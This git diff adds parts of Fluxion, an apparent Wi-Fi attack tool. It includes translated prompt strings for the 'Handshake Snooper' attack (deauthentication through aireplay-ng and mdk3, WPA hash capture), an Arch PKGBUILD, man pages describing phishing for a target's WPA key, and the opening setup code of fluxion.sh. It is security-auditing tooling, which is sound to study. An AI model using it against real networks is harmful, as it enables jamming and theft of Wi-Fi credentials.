+# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Выберите метод получения рукопожатия" +HandshakeSnooperMonitorMethodOption="Наблюдение (${CYel}пассивный$CClr)" +HandshakeSnooperAireplayMethodOption="Деаутентификация с aireplay-ng (${CRed}агрессивный$CClr)" +HandshakeSnooperMdk3MethodOption="Деаутентификация с mdk3 (${CRed} агрессивный $CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="Как часто проверять наличие рукопожатия?" +HandshakeSnooperVerifierInterval30SOption="Каждые 30 секунд (${CGrn}рекомендуется${CClr})." +HandshakeSnooperVerifierInterval60SOption="Каждые 60 секунд." +HandshakeSnooperVerifierInterval90SOption="Каждые 90 секунд." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="Как должна происходить верификация?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Асинхронно (${CYel}только на быстрых системах${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Синхронно (${CGrn}рекомендуется${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="Запуск демона ${CCyn}Handshake Snooper$CClr." +HandshakeSnooperSnoopingForNSecondsNotice="Проверка каждые \$HandshakeSnooperVerifierInterval секунд." +HandshakeSnooperStoppingForVerifierNotice="Остановка атаки и проверка хэшей." +HandshakeSnooperSearchingForHashesNotice="Поиск хэшей в файле захвата." +HandshakeSnooperArbiterAbortedWarning="${CYel}Прервано${CClr}: Операция была прервана, не найдено валидного хэша." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Успех${CClr}: Валидный хэш был найден и сохранён в базе данных fluxion." +HandshakeSnooperArbiterCompletedTip="Атака ${CBCyn}Handshake Snooper$CBYel завершена, закройте это окно и начните другую атаку.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/sk.sh b/attacks/Handshake Snooper/language/sk.sh new file mode 100644 index 0000000..031577a --- /dev/null +++ b/attacks/Handshake Snooper/language/sk.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Získa WPA/WPA2 kryptovancie 'hashes'. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Vyberte metódu získania 'handshake'" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="Ako často sa má kontrolovať 'handshake'?" +HandshakeSnooperVerifierInterval30SOption="Každých 30 sekúnd (${CGrn}odporúčané${CClr})." +HandshakeSnooperVerifierInterval60SOption="Každých 60 sekúnd." +HandshakeSnooperVerifierInterval90SOption="Každých 90 sekúnd." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="Ako sa má overovať?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchrónne (${CYel}len rýchle systémy${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchrónne (${CGrn}odporúčané${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon aktivovaný." +HandshakeSnooperSnoopingForNSecondsNotice="Špehujem \$HandshakeSnooperVerifierInterval sekúnd." +HandshakeSnooperStoppingForVerifierNotice="Prerušujem špehovanie & kontrolujem 'hashes'." +HandshakeSnooperSearchingForHashesNotice="Hľadám 'hashes' v 'capture' súbore." +HandshakeSnooperArbiterAbortedWarning="${CYel}Prerušené${CClr}: Operácia bola prerušená, žiadny platný 'hash' neboj nájdený." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Úspešné${CClr}: Platný 'hash' bol detekovaný a uložený do fluxion databázy." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/sl.sh b/attacks/Handshake Snooper/language/sl.sh new file mode 100755 index 0000000..f140abf --- /dev/null +++ b/attacks/Handshake Snooper/language/sl.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Retrieves WPA/WPA2 encryption hashes.(translate) + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Select a method of handshake retrieval" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/tk.sh b/attacks/Handshake Snooper/language/tk.sh new file mode 100755 index 0000000..dcf82b9 --- /dev/null +++ b/attacks/Handshake Snooper/language/tk.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Retrieves WPA/WPA2 encryption hashes. (translate) + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Tokalasma edinme methodu seciniz" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}pasif$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agresif$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}agresif$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/zh.sh b/attacks/Handshake Snooper/language/zh.sh new file mode 100755 index 0000000..45e7999 --- /dev/null +++ b/attacks/Handshake Snooper/language/zh.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: 检索WPA/WPA2加密散列。 + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="选择一种方式来检查握手包获取状态" +HandshakeSnooperMonitorMethodOption="监听模式 (${CYel}被动$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="每隔多久检查一次握手包" +HandshakeSnooperVerifierInterval30SOption="每30秒钟 (${CGrn}推荐${CClr})." +HandshakeSnooperVerifierInterval60SOption="每60秒钟" +HandshakeSnooperVerifierInterval90SOption="每90秒钟" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}推荐${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/bin/arch/PKGBUILD b/bin/arch/PKGBUILD new file mode 100644 index 0000000..5b72c36 --- /dev/null +++ b/bin/arch/PKGBUILD @@ -0,0 +1,66 @@ +# Maintainer: Cyberfee + +_pkgname=fluxion +pkgname=$_pkgname-git +pkgver=r1183.63b821f +pkgrel=1 +pkgdesc='Fluxion is a security auditing and social-engineering research tool' +url='https://github.com/FluxionNetwork/fluxion' +license=('GPL3') +source=('git://github.com/FluxionNetwork/fluxion.git#branch=master') + +depends=( + 'aircrack-ng' 'bash>=4.2' 'coreutils' + 'awk' 'iw' 'unzip' + 'curl' 'bc' 'xterm' +) + +makedepends=('binutils' 'coreutils' 'git') +conflicts=('fluxion-git') +provides=('fluxion-git') +sha256sums=('SKIP') +arch=('any') + +prepare() { + if [ -d "$srcdir/$pkgname" ]; then + rm -rf "$srcdir/$pkgname" + fi + + mkdir -p "$srcdir/$pkgname" + cd "$srcdir/$pkgname" +} + +pkgver() { + cd "$srcdir/$_pkgname" + + ( set -o pipefail + git describe --long 2>/dev/null | sed 's/\([^-]*-g\)/r\1/;s/-/./g' || + printf "r%s.%s" "$(git rev-list --count HEAD)" "$(git rev-parse --short HEAD)" + ) +} + +prepare() { + cd "$srcdir/$_pkgname" +} + +package() { + cd "$srcdir/$_pkgname" + + mkdir -p "$pkgdir/usr/bin" + mkdir -p "$pkgdir/usr/share/fluxion" + + install -Dm644 -t "$pkgdir/usr/share/doc/fluxion/" README.md + install -Dm644 -t "$pkgdir/usr/local/man/man1/" docs/man/fluxion.1 + + rm -rf *.md .git* *.yml .project .editorconfig + + cp -a --no-preserve=ownership * "$pkgdir/usr/share/fluxion" + + cat > "$pkgdir/usr/bin/fluxion" << EOF +#!/bin/sh +cd /usr/share/fluxion +exec bash fluxion.sh "\${@}" +EOF + + chmod a+x "$pkgdir/usr/bin/fluxion" +} diff --git a/docs/man/fluxion.1 b/docs/man/fluxion.1 new file mode 100644 index 0000000..bdd5454 --- /dev/null +++ b/docs/man/fluxion.1 @@ -0,0 +1,76 @@ +.TH FLUXION 1 "MARCH 2018" Linux "User Manuals" +.SH NAME +fluxion \- Fluxion is a security auditing and social-engineering research tool +.SH SYNOPSIS +.B fluxion [-debug] [-l +.I language +.B ] +.I attack +.B ... +.SH DESCRIPTION +.B fluxion is a security auditing and social-engineering research tool. +It is a remake of linset by vk496 with (hopefully) less bugs +and more functionality. The script attempts to retrieve the WPA/WPA2 +key from a target access point by means of a social engineering +(phising) attack. It's compatible with the latest release of Kali +(rolling). Fluxion's attacks' setup is mostly manual, +but experimental auto-mode handles some of the attacks' +setup parameters. +.SH OPTIONS +.IP "-v " +Print version number. +.IP "--help " +Print help page and exit with 0. +.IP "-m " +Run fluxion in manual mode instead of auto mode. +.IP "-k " +Kill wireless connection if it is connected. +.IP "-d " +Run fluxion in debug mode. +.IP "-x " +Try to run fluxion with xterm terminals instead of tmux. +.IP "-r " +Reload driver. +.IP "-l " +Define a certain language. +.IP "-e " +Select the target network based on the ESSID. +.IP "-c " +Indicate the channel(s) to listen to. +.IP "-a " +Define a certain attack. +.IP "--ratio " +Define the windows size. Bigger ratio -> smaller window size. +Default is 4. +.IP "-b " +Select the target network based on the access point MAC address. +.IP "-j " +Define a certain jamming interface. +.IP "-a " +Define a certain access point interface. +.SH FILES +.I /tmp/fluxspace/ +.RS +The system wide tmp directory. +.RE +.I $FLUXION/attacks/ +.RS +Folder where handshakes and passwords +are stored in. +.SH ENVIRONMENT +.IP FLUXIONAuto +Automatically run fluxion in auto mode if exported. +.IP FLUXIONDebug +Automatically run fluxion in debug mode if exported. +.IP FLUXIONWIKillProcesses +Automatically kill any interfering process(es). +.SH DIAGNOSTICS +Please checkout the other log files or use +the debug mode. +.SH BUGS +Please report any bugs at: +https://github.com/FluxionNetwork/fluxion/issues +.SH AUTHOR +Cyberfee, l3op, dlinkproto, vk496, MPX4132 +.SH "SEE ALSO" +.BR aircrack-ng (8), diff --git a/docs/man/fluxion.man b/docs/man/fluxion.man new file mode 100644 index 0000000..65fe62e --- /dev/null +++ b/docs/man/fluxion.man @@ -0,0 +1,92 @@ +FLUXION(1) User Manuals FLUXION(1) + + + +NAME + fluxion - Fluxion is a security auditing and social-engineering + research tool + +SYNOPSIS + fluxion [-debug] [-l language ] attack ... + +DESCRIPTION + fluxion is a security auditing and social-engineering research tool. + It is a remake of linset by vk496 with (hopefully) less bugs and more + functionality. The script attempts to retrieve the WPA/WPA2 key from a + target access point by means of a social engineering (phising) attack. + It's compatible with the latest release of Kali (rolling). Fluxion's + attacks' setup is mostly manual, but experimental auto-mode handles + some of the attacks' setup parameters. + +OPTIONS + -v Print version number. + + --help Print help page and exit with 0. + + -m Run fluxion in manual mode instead of auto mode. + + -k Kill wireless connection if it is connected. + + -d Run fluxion in debug mode. + + -x Try to run fluxion with xterm terminals instead of tmux. + + -r Reload driver. + + -l + Define a certain language. + + -e + Select the target network based on the ESSID. + + -c + Indicate the channel(s) to listen to. + + -a + Define a certain attack. + + --ratio + Define the windows size. Bigger ratio -> smaller window size. + Default is 4. + + -b + Select the target network based on the access point MAC address. + + -j + Define a certain jamming interface. + + -a + Define a certain access point interface. + +FILES + /tmp/fluxspace/ + The system wide tmp directory. + $FLUXION/attacks/ + Folder where handshakes and passwords are stored in. + +ENVIRONMENT + FLUXIONAuto + Automatically run fluxion in auto mode if exported. + + FLUXIONDebug + Automatically run fluxion in debug mode if exported. + + FLUXIONWIKillProcesses + Automatically kill any interfering process(es). + +DIAGNOSTICS + Please checkout the other log files or use the debug mode. + +BUGS + Please report any bugs at: https://github.com/FluxionNetwork/flux- + ion/issues + +AUTHOR + Cyberfee, l3op, dlinkproto, vk496, MPX4132 + +SEE ALSO + aircrack-ng(8), + + + +Linux MARCH 2018 FLUXION(1) \ No newline at end of file diff --git a/fluxion.sh b/fluxion.sh new file mode 100755 index 0000000..fcb8595 --- /dev/null +++ b/fluxion.sh @@ -0,0 +1,1890 @@ +#!/usr/bin/env bash + +# ============================================================ # +# ================== < FLUXION Parameters > ================== # +# ============================================================ # +# Path to directory containing the FLUXION executable script. +readonly FLUXIONPath=$(dirname $(readlink -f "$0")) + +# Path to directory containing the FLUXION library (scripts). +readonly FLUXIONLibPath="$FLUXIONPath/lib" + +# Path to the temp. directory available to FLUXION & subscripts. +readonly FLUXIONWorkspacePath="/tmp/fluxspace" +readonly FLUXIONIPTablesBackup="$FLUXIONPath/iptables-rules" + +# Path to FLUXION's preferences file, to be loaded afterward. +readonly FLUXIONPreferencesFile="$FLUXIONPath/preferences/preferences.conf" + +# Constants denoting the reference noise floor & ceiling levels. +# These are used by the the wireless network scanner visualizer. +readonly FLUXIONNoiseFloor=-90 +readonly FLUXIONNoiseCeiling=-60 + +readonly FLUXIONVersion=4 +readonly FLUXIONRevision=16 + +# Declare window ration bigger = smaller windows +FLUXIONWindowRatio=4 + +# Allow to skip dependencies if required, not recommended +FLUXIONSkipDependencies=0 + +# ============================================================ # +# ================= < Script Sanity Checks > ================= # +# ============================================================ # +if [ $EUID -ne 0 ]; then # Super User Check + echo -e "\\033[31mAborted, please execute the script as root.\\033[0m"; exit 1 +fi + +# ===================== < XTerm Checks > ===================== # +# TODO: Run the checks below only if we're not using tmux. +if [ ! "${DISPLAY:-}" ]; then # Assure display is available. + echo -e "\\033[31mAborted, X (graphical) session unavailable.\\033[0m"; exit 2 +fi + +if ! hash xdpyinfo 2>/dev/null; then # Assure display probe. + echo -e "\\033[31mAborted, xdpyinfo is unavailable.\\033[0m"; exit 3 +fi + +if ! xdpyinfo &>/dev/null; then # Assure display info available. + echo -e "\\033[31mAborted, xterm test session failed.\\033[0m"; exit 3 +fi + +# ================ < Parameter Parser Check > ================ # +getopt --test > /dev/null # Assure enhanced getopt (returns 4). +if [ $? -ne 4 ]; then + echo "\\033[31mAborted, enhanced getopt isn't available.\\033[0m"; exit 4 +fi + +# =============== < Working Directory Check > ================ # +if ! mkdir -p "$FLUXIONWorkspacePath" &> /dev/null; then + echo "\\033[31mAborted, can't generate a workspace directory.\\033[0m"; exit 5 +fi + +# Once sanity check is passed, we can start to load everything. + +# ============================================================ # +# =================== < Library Includes > =================== # +# ============================================================ # +source "$FLUXIONLibPath/installer/InstallerUtils.sh" +source "$FLUXIONLibPath/InterfaceUtils.sh" +source "$FLUXIONLibPath/SandboxUtils.sh" +source "$FLUXIONLibPath/FormatUtils.sh" +source "$FLUXIONLibPath/ColorUtils.sh" +source "$FLUXIONLibPath/IOUtils.sh" +source "$FLUXIONLibPath/HashUtils.sh" +source "$FLUXIONLibPath/HelpUtils.sh" + +# NOTE: These are configured after arguments are loaded (later). + +# ============================================================ # +# =================== < Parse Parameters > =================== # +# ============================================================ # +if ! FLUXIONCLIArguments=$( + getopt --options="vdkrnmtbhe:c:l:a:r" \ + --longoptions="debug,version,killer,reloader,help,airmon-ng,multiplexer,target,test,auto,bssid:,essid:,channel:,language:,attack:,ratio,skip-dependencies" \ + --name="FLUXION V$FLUXIONVersion.$FLUXIONRevision" -- "$@" + ); then + echo -e "${CRed}Aborted$CClr, parameter error detected..."; exit 5 +fi + +AttackCLIArguments=${FLUXIONCLIArguments##* -- } +readonly FLUXIONCLIArguments=${FLUXIONCLIArguments%%-- *} +if [ "$AttackCLIArguments" = "$FLUXIONCLIArguments" ]; then + AttackCLIArguments="" +fi + + +# ============================================================ # +# ================== < Load Configurables > ================== # +# ============================================================ # + +# ============= < Argument Loaded Configurables > ============ # +eval set -- "$FLUXIONCLIArguments" # Set environment parameters. + +#[ "$1" != "--" ] && readonly FLUXIONAuto=1 # Auto-mode if using CLI. +while [ "$1" != "" ] && [ "$1" != "--" ]; do + case "$1" in + -v|--version) echo "FLUXION V$FLUXIONVersion.$FLUXIONRevision"; exit;; + -h|--help) fluxion_help; exit;; + -d|--debug) readonly FLUXIONDebug=1;; + -k|--killer) readonly FLUXIONWIKillProcesses=1;; + -r|--reloader) readonly FLUXIONWIReloadDriver=1;; + -n|--airmon-ng) readonly FLUXIONAirmonNG=1;; + -m|--multiplexer) readonly FLUXIONTMux=1;; + -b|--bssid) FluxionTargetMAC=$2; shift;; + -e|--essid) FluxionTargetSSID=$2; + # TODO: Rearrange declarations to have routines available for use here. + FluxionTargetSSIDClean=$(echo "$FluxionTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g') + shift;; + -c|--channel) FluxionTargetChannel=$2; shift;; + -l|--language) FluxionLanguage=$2; shift;; + -a|--attack) FluxionAttack=$2; shift;; + --ratio) FLUXIONWindowRatio=$2; shift;; + --auto) readonly FLUXIONAuto=1;; + --skip-dependencies) readonly FLUXIONSkipDependencies=1;; + esac + shift # Shift new parameters +done + +shift # Remove "--" to prepare for attacks to read parameters. +# Executable arguments are handled after subroutine definition. + +# =================== < User Preferences > =================== # +# Load user-defined preferences if there's an executable script. +# If no script exists, prepare one for the user to store config. +# WARNING: Preferences file must assure no redeclared constants. +if [ -x "$FLUXIONPreferencesFile" ]; then + source "$FLUXIONPreferencesFile" +else + echo '#!/usr/bin/env bash' > "$FLUXIONPreferencesFile" + chmod u+x "$FLUXIONPreferencesFile" +fi + +# ================ < Configurable Constants > ================ # +if [ "$FLUXIONAuto" != "1" ]; then # If defined, assure 1. + readonly FLUXIONAuto=${FLUXIONAuto:+1} +fi + +if [ "$FLUXIONDebug" != "1" ]; then # If defined, assure 1. + readonly FLUXIONDebug=${FLUXIONDebug:+1} +fi + +if [ "$FLUXIONAirmonNG" != "1" ]; then # If defined, assure 1. + readonly FLUXIONAirmonNG=${FLUXIONAirmonNG:+1} +fi + +if [ "$FLUXIONWIKillProcesses" != "1" ]; then # If defined, assure 1. + readonly FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1} +fi + +if [ "$FLUXIONWIReloadDriver" != "1" ]; then # If defined, assure 1. + readonly FLUXIONWIReloadDriver=${FLUXIONWIReloadDriver:+1} +fi + +# FLUXIONDebug [Normal Mode "" / Developer Mode 1] +if [ $FLUXIONDebug ]; then + :> /tmp/fluxion_debug_log + readonly FLUXIONOutputDevice="/tmp/fluxion_debug_log" + readonly FLUXIONHoldXterm="-hold" +else + readonly FLUXIONOutputDevice="/dev/null" + readonly FLUXIONHoldXterm="" +fi + +# ================ < Configurable Variables > ================ # +readonly FLUXIONPromptDefault="$CRed[${CSBlu}fluxion$CSYel@$CSWht$HOSTNAME$CClr$CRed]-[$CSYel~$CClr$CRed]$CClr " +FLUXIONPrompt=$FLUXIONPromptDefault + +readonly FLUXIONVLineDefault="$CRed[$CSYel*$CClr$CRed]$CClr" +FLUXIONVLine=$FLUXIONVLineDefault + +# ================== < Library Parameters > ================== # +readonly InterfaceUtilsOutputDevice="$FLUXIONOutputDevice" + +readonly SandboxWorkspacePath="$FLUXIONWorkspacePath" +readonly SandboxOutputDevice="$FLUXIONOutputDevice" + +readonly InstallerUtilsWorkspacePath="$FLUXIONWorkspacePath" +readonly InstallerUtilsOutputDevice="$FLUXIONOutputDevice" +readonly InstallerUtilsNoticeMark="$FLUXIONVLine" + +readonly PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log" + +declare IOUtilsHeader="fluxion_header" +readonly IOUtilsQueryMark="$FLUXIONVLine" +readonly IOUtilsPrompt="$FLUXIONPrompt" + +readonly HashOutputDevice="$FLUXIONOutputDevice" + +# ============================================================ # +# =================== < Default Language > =================== # +# ============================================================ # +# Set by default in case fluxion is aborted before setting one. +source "$FLUXIONPath/language/en.sh" + +# ============================================================ # +# ================== < Startup & Shutdown > ================== # +# ============================================================ # +fluxion_startup() { + if [ "$FLUXIONDebug" ]; then return 1; fi + + # Make sure that we save the iptable files + iptables-save >"$FLUXIONIPTablesBackup" + local banner=() + + format_center_literals \ + " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐" + banner+=("$FormatCenterLiterals") + format_center_literals \ + " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║" + banner+=("$FormatCenterLiterals") + format_center_literals \ + " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜" + banner+=("$FormatCenterLiterals") + format_center_literals \ + " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║" + banner+=("$FormatCenterLiterals") + format_center_literals \ + " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘" + banner+=("$FormatCenterLiterals") + format_center_literals \ + "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯" + banner+=("$FormatCenterLiterals") + + clear + + if [ "$FLUXIONAuto" ]; then echo -e "$CBlu"; else echo -e "$CRed"; fi + + for line in "${banner[@]}"; do + echo "$line"; sleep 0.05 + done + + echo # Do not remove. + + sleep 0.1 + local -r fluxionRepository="https://github.com/FluxionNetwork/fluxion" + format_center_literals "${CGrn}Site: ${CRed}$fluxionRepository$CClr" + echo -e "$FormatCenterLiterals" + + sleep 0.1 + local -r versionInfo="${CSRed}FLUXION 